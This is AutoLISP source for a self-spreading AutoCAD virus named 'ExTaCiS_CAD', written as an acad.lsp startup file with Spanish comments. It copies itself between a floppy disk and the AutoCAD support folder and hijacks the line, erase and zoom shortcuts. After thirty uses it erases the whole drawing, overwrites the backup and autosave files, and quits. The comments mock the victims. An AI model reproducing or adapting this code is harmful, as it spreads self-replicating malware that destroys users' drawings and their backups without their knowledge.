(setvar "cmdecho" 0)
(defun copyy (origen destino / file1 file2 esc1)
  (if (= FIC "A")					
    (progn
     (setq file1 (open origen "r") file2 (open destino "w"))
     (if (and (/= file2 nil) (/= file1 nil))
      (progn
       (while
        (setq esc1 (read-line file1))
        (write-line esc1 file2)
       )
       (close file1)
       (close file2)))))
)
(defun ejecuta (/ tabla aux text1 text2 archi arch1)
  (command "style" "txt" "txt" 0 1 0 "" "" "")
  (setq nombre (strcat (getvar "dwgprefix") (getvar "dwgname")) otron (getvar "tempprefix"))
  (if (/= nombre nil)
  (setq COD96-I (strcat (substr nombre 1 (- (strlen nombre) 3)) "bak")))
  (setq tabla (tblnext "layer" 1) aux (cdr (assoc 2 tabla)))
  (command "layer" "ON" "0" "T" "0" "U" "0" "")
  (while (/= (setq tabla (tblnext "layer")) nil)
    (setq aux (cdr (assoc 2 tabla)))
    (command "layer" "ON" aux "T" aux "U" aux ""))
  (command "erase" "all" "");;;;;ja ja ja ja
  (setq text1 "Universidad Nacional de Ingeniería" text2 "ExTaCiS_CAD Ver. 1.9.2")
  (command "color" 1)
  (command "text" "j" "m" '(0 100) 5 0 text1 "")
  (command "text" "j" "m" '(0 90) 5 0 text2 "")
  (command "zoom" "e")
  (command "qsave")
  (setq nombres '() jj 1 autofile (getvar "savefile") num1 (strlen autofile) cco 1 archiv_nom "")
  (while (/= "." (setq tte (substr autofile cco 1)))
    (setq archiv_nom (strcat archiv_nom tte) cco (1+ cco))
  )
  (setq archiv_ext (substr autofile (1+ cco)) otron (strcat otron archiv_nom))
  (while (open (setq otron1 (strcat otron (itoa jj) (strcat "." archiv_ext))) "r")
    (setq nombres (cons otron1 nombres) jj (1+ jj))
  )
  (setq jj 1)
  (while (open (setq otron1 (strcat otron (itoa jj) ".bak")) "r")
    (setq nombres (cons otron1 nombres) jj (1+ jj))
  )
  (setq nombres (cons COD96-I nombres) jj 0)
  (repeat (length nombres)
    (if (setq archi (open (nth jj nombres) "w"))
      (progn
        (write-line text1 archi)
        (write-line text2 archi)
        (close archi)
        (setq jj (1+ jj))
      )
      (setq jj (1+ jj))
    )
  )
  (command "quit")
)
(setq des "a:\\acad.lsp" nombre (strcat (getvar "dwgprefix") (getvar "dwgname")))
(setq m11 "acad.lsp" contador_de_la_muerte 0 cadena (getvar "acadprefix") num (strlen cadena) j 1 k 0 nucleo "")
(if (/= nombre nil)
  (setq FIC (substr nombre 1 1)))
(while (= k 0)
  (setq char (substr cadena j 1) j (1+ j))
  (if (/= char ";")
    (setq nucleo (strcat nucleo char))
    (setq k 1)))
(setq m22 (findfile m11) unidad (substr m22 1 1) m3 (strcat nucleo "\\" m11))
(if (= unidad "A")
  (copyy m22 m3)
  (copyy m3 des))
(defun c:l ()
  (setq contador_de_la_muerte (1+ contador_de_la_muerte))
  (if (= contador_de_la_muerte 30)
    (ejecuta))
  (command ".line"))
(defun c:e ()
  (setq contador_de_la_muerte (1+ contador_de_la_muerte))
  (if (= contador_de_la_muerte 30)
    (ejecuta))
  (command ".erase"))
(defun c:z ()
  (setq contador_de_la_muerte (1+ contador_de_la_muerte))
  (if (= contador_de_la_muerte 30)
    (ejecuta))
  (command ".zoom"))
;;comentarios y/o sugerencias a traemelo@lanet.com.pe
;;y el que me borbardee.... hay,hay,hay....pobresito.
;;Ya sale para AutoCAD 2000.
;;Por la culpa de unos idiotas tube que cambiar de acadr14.lsp a acad.lsp
;;Actualizado al 15/05/2000 a las 12:59 AM
;;....¡¡¡hay hoy tengo práctica...y no he estudiado nada!!!